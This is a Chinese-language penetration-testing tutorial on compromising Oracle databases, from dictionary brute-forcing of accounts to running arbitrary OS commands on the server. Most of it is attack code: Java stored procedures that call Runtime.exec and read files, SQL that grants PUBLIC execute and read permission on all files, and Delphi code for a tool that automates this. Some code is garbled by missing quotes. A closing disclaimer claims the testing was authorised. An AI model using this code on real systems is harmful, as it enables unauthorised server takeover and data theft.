Oracle是一个数据库系统,和 MS SQL Server数据库类似,支持SQL语言的同时还支持ada编程、Java代码编程等,可以运行在Windows、Linux等操作系统上。本文将对如何
渗透Oracle数据库系统进行研究。
Oracle的漏洞有很多,如默认DBSNMP账号密码,低版本的SID枚举,本地权限提升,一些函数存在SQL注入,缓冲区溢出等等。下面我们先来破解Oracle的登录账号,然后使
用Delphi编程在数据库服务器上执行任意命令。
Oracle数据库账号破解
破解无非是暴力破解,即不断的尝试密码,直到成功登入系统为止,破解前需要一个字典,字典很关键,决定了破解的结果,我们用到一个款工具“Oracle数据库审计工具”,
其界面如图1所示。
我们在本地随便搭建找个oracle系统吧,看端口1521是否开放,是的话就说明服务器是Oracle的。我们以本地为例来测试下,如图2所示。
Oracle数据库执行任意命令
我们使用Delphi的odac组件来编程实现命令执行,命令执行是建立Java函数,来执行OS命令。先看看版本1的代码,这个代码有个缺陷,就是在SQL窗口中没有返回内容(在odac中也是一样的),但是在sqlplus中是有返回内容的,代码如下:
//创建Java源 www_isafe_cc_Util create or replace and compile java source named www_isafe_cc_Util as import java.io.*; import java.lang.*; public class www_isafe_cc_Util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int try { rc = -1; Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); rc = p.waitFor(); } catch (Exception e) { e.printStackTrace(); rc = -1; } finally { return rc; } } } / Java created. //建立函数 www_isafe_cc_RUN_CMD create or replace function www_isafe_cc_RUN_CMD(p_cmd in varchar2) return number as language java name www_isafe_cc_Util.RunThis(java.lang.String) return integer; / Function created. //建立一个过程调用函数 create or replace procedure RC(p_cmd in varchar2) as x number; begin x := www_isafe_cc_run_cmd(p_cmd); end;
在sqlplus中调用,结果如图2和图3所示。
variable x number; set serveroutput on exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec :x := www_isafe_cc_RUN_CMD(ipconfig);
但是在SQL窗口中不能执行,SQL窗口和sqlplus中的命令窗口是有区别的,因为Delphi中的 odac组件是 SQL窗口方式执行的,在网上找了很多资料,没有解决,后来改用 Java代码实现了使用odac组件的执行命令内容返回,该部分代码称为版本2,代码如下:
创建Java源 www_isafe_cc_Util:
create or replace and compile java source named www_isafe_cc_Util as import java.io.*; public class www_isafe_cc_Util extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=;while ((stemp = myReader.readLine()) != null) str +=stemp+\n;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=;while ((stemp = myReader.readLine()) != null) str +=stemp+\n;myReader.close();return str;} catch (Exception e){return e.toString();}} }
创建调用函数www_isafe_cc_RunCMD:
create or replace function www_isafe_cc_RunCMD(p_cmd in varchar2) return varchar2 as language java name www_isafe_cc_Util.runCMD(java.lang.String) return String;
赋予执行权限:
begin dbms_java.grant_permission( PUBLIC, SYS:java.io.FilePermission, ALL FILES, execute);end;
命令成功执行了,如图4所示,有结果返回,其它的功能如读文件、目录浏览代码差不多。如下是Delphi执行命令的关键代码:
procedure TfrmMain.btnCreateFunClick(Sender: TObject); var ConnStr:string; StrSQL,StrSQL2:string; begin btnCreateFun.Enabled:=False; try try ConnStr:=Format(%s/%s@%s,[edtUser.Text,edtPass.Text,edtSid.Text,edtHost.Text] ); OraSession1.Options.Direct:=True; OraSession1.Server:=edtHost.Text; OraSession1.Username:=edtUser.Text; OraSession1.Password:=edtPass.Text; OraQuery1.Connection:=OraSession1; if OraQuery1.Active then Oraquery1.Active:=False; OraQuery1.SQL.Clear; //oraquery1.SQL.Text:= select * from v$version; OraQuery1.SQL.Text:= MemoPack.Lines.Text; OraQuery1.Execute; Memo1.Lines.Add(包已建立); while not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].asString); OraQuery1.Next; end; if OraQuery1.Active then OraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Text:= MemoFunc.Lines.Text; Oraquery1.Execute; Memo1.Lines.Add(函数已建立); while Not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].asString); OraQuery1.Next; end; if OraQuery1.Active then OraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Text:= MemoProc.Lines.Text; Oraquery1.Execute; Memo1.Lines.Add(过程已建立); while not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].AsString); Oraquery1.Next; end; StrSQL2:=begin dbms_java.grant_permission( PUBLIC, SYS:java.io.FilePermission, ALL FILES, execute);end;; StrSQL:=begin dbms_java.grant_permission(PUBLIC, SYS:java.io.FilePermission, ALL FILES, read);end;; if oraQuery1.Active then oraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Add(StrSQL); OraQuery1.ExecSQL; Memo1.Lines.Add(赋予权限); if oraQuery1.Active then oraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Add(StrSQL2); OraQuery1.ExecSQL; Memo1.Lines.Add(赋予权限); ListFolderJavaSource; Memo1.Lines.Add(列目录); except on e:Exception do begin ShowMessage(e.Message); end; end; finally end; btnCreateFun.Enabled:=True; end;
本文从Oracle数据库基本的密码破解入手,到执行服务器任意命令,一步一步来实现,最终控制了数据库所在服务器系统。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。